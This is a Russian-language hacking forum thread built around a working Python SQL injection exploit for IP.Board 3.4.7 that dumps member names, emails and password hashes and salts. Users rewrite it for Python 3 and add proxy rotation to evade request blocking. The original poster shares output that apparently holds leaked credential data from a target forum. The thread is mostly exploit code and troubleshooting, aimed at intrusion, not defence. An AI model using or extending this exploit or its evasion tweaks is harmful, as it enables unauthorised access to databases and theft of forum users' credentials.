Как скормить скрипту лист куки

Discussion in 'Python' started by Simcher, 24 Jan 2021.

  1. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Есть такой скрипт
    Вопрос: как настроить его, чтобы он дампил с помощью ПРОКСИ листа, который выводится, например, с сайта или файла, ну или на крайний случай ручным вводом в код?
    (в названии темы ошибся)

    Code:
    #!/usr/bin/env python
    # Sunday, November 09, 2014 - secthrowaway@safe-mail.net
    # IP.Board <= 3.4.7 SQLi (blind, error based);
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
    
    url = 'http://target.tld/forum/'
    ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
    
    import sys, re
    
    # <socks> - http://sourceforge.net/projects/socksipy/
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>
    
    import urllib2, urllib
    
    def inject(sql):
        try:
            urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
        except urllib2.HTTPError, e:
            if e.code == 503:
                data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
                txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
                if txt is not None:
                    return txt.group(1)
                sys.exit('Error [3], received unexpected data:\n%s' % data)
            sys.exit('Error [1]')
        sys.exit('Error [2]')
    
    def get(name, table, num):
        sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
        s = int(inject('LENGTH((%s))' % sqli))
        if s < 31:
            return inject(sqli)
        else:
            r = ''
            for i in range(1, s+1, 31):
                r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
            return r
    
    n = inject('SELECT COUNT(*) FROM members')
    print '* Found %s users' % n
    for j in range(int(n)):  
        print get('member_id', 'members', j)
        print get('name', 'members', j)
        print get('email', 'members', j)
        print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
        print '----------------'
     
    #1 Simcher, 24 Jan 2021
    Last edited: 24 Jan 2021
  2. 4Fun

    4Fun Well-Known Member

    Joined:
    25 Jul 2018
    Messages:
    440
    Likes Received:
    503
    Reputations:
    6
    Непонятен вопрос: вам нужно получить куки, которые сервер вернул в ответе, либо задать куки для запроса?
     
  3. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Задать прокси для запросов
     
    #3 Simcher, 24 Jan 2021
    Last edited: 24 Jan 2021
  4. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Блин, я идиот, моя цель - использовать прокси лист, а не куки...
     
  5. 4Fun

    4Fun Well-Known Member

    Joined:
    25 Jul 2018
    Messages:
    440
    Likes Received:
    503
    Reputations:
    6
    Переходите на Python 3 + requests, здесь гораздо проще работать с прокси, а также с HTTP в общем.
    Насколько я понимаю, скрипт взят отсюда: https://packetstormsecurity.com/files/129040/IP.Board-3.4.7-SQL-Injection.html

    Переписал быстро на Python 3, вот, что получилось: https://paste.ubuntu.com/p/ZfzSPxnw79/
    Я не знаю, будет ли это работать, т.к. у меня нет возможности проверить это.
     
    #5 4Fun, 24 Jan 2021
    Last edited: 24 Jan 2021
    Simcher likes this.
  6. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Благодарю за ответ!Cкрипт брал с github.
    И всё же, как вставить несколько прокси, чтобы они попеременно отправляли запросы на получение инфы с БД?
    Дело в том, что после определённого кол-ва запросов скрипт возвращает ошибку [Errno 10060].
     
  7. 4Fun

    4Fun Well-Known Member

    Joined:
    25 Jul 2018
    Messages:
    440
    Likes Received:
    503
    Reputations:
    6
    По поводу прокси: скажем, у вас есть такой список прокси в виде текстовика (слева тип прокси, справа URL):
    Code:
    http http://10.10.1.10:3128
    https http://10.10.1.10:1080
    
    Загружаете в словарь прокси его так:
    Code:
    with open('proxies.txt', 'r') as f:
        proxies = {}
        for line in f.read().strip().splitlines():
            type, url = line.split()
            proxies[type] = url
    
    Затем устанавливаете эти прокси в сессию, как указано здесь
    Code:
    http.proxies.update(proxies)
     
    Simcher likes this.
  8. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Выполняю Ваш код, выдаёт ошибку TypeError: post() missing 1 required positional argument: 'url'
    Из интернета я понял, что где-то нет скобок, а вот где именно понять не могу.
    Изменил f"{url}/interface/ipsconnect/ipsconnect.php", на f="{url}/interface/ipsconnect/ipsconnect.php",

    Code:
    #!/usr/bin/env python3
    # Sunday, November 09, 2014 - secthrowaway@safe-mail.net
    # IP.Board <= 3.4.7 SQLi (blind, error based);
    # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
    
    url = 'http://forum'
    ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
    
    import sys, re
    from urllib.parse import quote
    import requests
    
    # <socks> - http://sourceforge.net/projects/socksipy/
    #import socks, socket
    #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    #socket.socket = socks.socksocket
    # </socks>
    
    
    
    def inject(sql):
        http = requests.Session()
        http.headers["User-agent"] = ua
        r = http.post(
            f="{url}/interface/ipsconnect/ipsconnect.php",
            data="act=login&idType=id&id[]=-1&id[]={}".format(
                quote(f'-1) and 1!="\'" and extractvalue(1,concat(0x3a,({sql})))#\'')
            )
        )
        if r.status_code == 503:
            data = http.get(f'{url}/cache/sql_error_latest.cgi').text
            txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
            if txt is not None:
                return txt.group(1)
            sys.exit(f'Error [3], received unexpected data:\n{data}')
        else:
            sys.exit('Error [1]')
        sys.exit('Error [2]')
    
    
    def get(name, table, num):
        sqli = f'SELECT {name} FROM {table} LIMIT {num},1'
        s = int(inject(f'LENGTH(({sqli}))'))
        if s < 31:
            return inject(sqli)
        else:
            r = ''
            for i in range(1, s+1, 31):
                r += inject(f'SUBSTRING(({sqli}), {i}, 31)')
            return r
    
    
    n = inject('SELECT COUNT(*) FROM ibf_members')
    print(f'* Found {n} users')
    for j in range(int(n)):
        print(get('CONCAT(email, 0x3a, members_pass_hash, 0x3a, members_pass_salt, 0x3a, name)', 'ibf_members', j))
     
  9. 4Fun

    4Fun Well-Known Member

    Joined:
    25 Jul 2018
    Messages:
    440
    Likes Received:
    503
    Reputations:
    6
    Вы изменили мой код. Посмотрите внимательно, как у меня передаются параметры в метод http.post() и найдите отличие возле первой буквы "f"
     
  10. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Поменял обратно, теперь Error [1] возвращает
     
  11. Simcher

    Simcher New Member

    Joined:
    31 Oct 2016
    Messages:
    30
    Likes Received:
    1
    Reputations:
    0
    Изменил код ошибки с 503 на 200, теперь выдаёт такое:

    * Found dff82b8bb38d16:UJ&z#:Admin users
    Traceback (most recent call last):
    File "C:\ss\e1.py", line 55, in <module>
    for j in range(int(n)):
    ValueError: invalid literal for int() with base 10: 'dff82b8bb38d16:UJ&z#:Admin'
     
Loading...
Similar Threads - скормить скрипту лист
  1. quite gray
    Replies:
    14
    Views:
    6,154